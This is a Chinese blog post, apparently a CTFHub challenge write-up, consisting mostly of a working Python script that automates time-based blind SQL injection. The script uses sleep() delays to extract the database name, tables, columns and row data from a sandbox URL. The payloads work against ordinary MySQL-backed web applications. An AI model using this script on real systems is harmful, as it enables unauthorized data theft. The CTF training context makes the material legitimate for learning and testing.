CTFHub-时间盲注-wp #(自制脚本做法)

时间盲注脚本

# -*- coding: utf-8 -*-
# @Time : 2021/5/16 19:29
# @Author : z1moq
# @File : ctfhub时间盲注.py
# @Software: PyCharm
import requests
import string
import time

def get_database(url):
    database = ''
    for i in range(1, 9):
        for j in string.ascii_letters:
            target = url + 'if(substr(database(),%d,1)="%s",sleep(3),1)' % (i, j)
            time1 = time.time()
            request = requests.get(target)
            time2 = time.time()
            if time2 - time1 > 2:
                database += j
                print(database)
                break
    print('Database:', database)
    return database


def get_table(url, database):
    tablesname = []
    for i in range(0, 2):
        name = ''
        for j in range(1, 6):
            for k in string.ascii_letters:
                target = url + 'if(substr((select table_name from information_schema.tables where table_schema="' +\
                         database + '" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time1 = time.time()
                request = requests.get(target)
                time2 = time.time()
                if time2 - time1 > 2:
                    name += k
                    print(name)
                    break
        tablesname.append(name)
    print('Tablesame:', tablesname)
    return input("Choose TableName:")


def get_columns(url, tablename, database):
    columns = []
    for i in range(0, 3):
        name = ''
        for j in range(1, 6):
            for k in string.ascii_letters:
                target = url + 'if(substr((select column_name from information_schema.columns where table_name="'\
                         + tablename + '" and table_schema="' + database\
                         + '" limit %d,1),%d,1)="%s",sleep(3),1)' % (i, j, k)
                time1 = time.time()
                request = requests.get(target)
                time2 = time.time()
                if time2 - time1 > 2:
                    name += k
                    print(name)
                    break
        columns.append(name)
    print('Columnsname:', columns)
    return input("Choose Columnname:")

def getdata(url, tablename, database, columns):
    data = ''
    for i in range(0, 50):
        for j in string.digits\
                 + string.ascii_letters\
                 + string.punctuation:
            target = url + 'if(substr((select '\
                      +columns\
                      + ' from ' + tablename\
                      + '),%d,1)="%s",sleep(3),1)' % (i, j)
            time1 = time.time()
            request = requests.get(target)
            time2 = time.time()
            if time2 - time1 > 2:
                data += j
                print(data)
                break
    print(data)

if __name__ == "__main__":
    url = "http://challenge-71506a2f58c546c4.sandbox.ctfhub.com:10080/?id="
    database = get_database(url)
    tablename = get_table(url, database)
    columns=get_columns(url, tablename, database)
    getdata(url, tablename, database,columns)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不想弹solo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值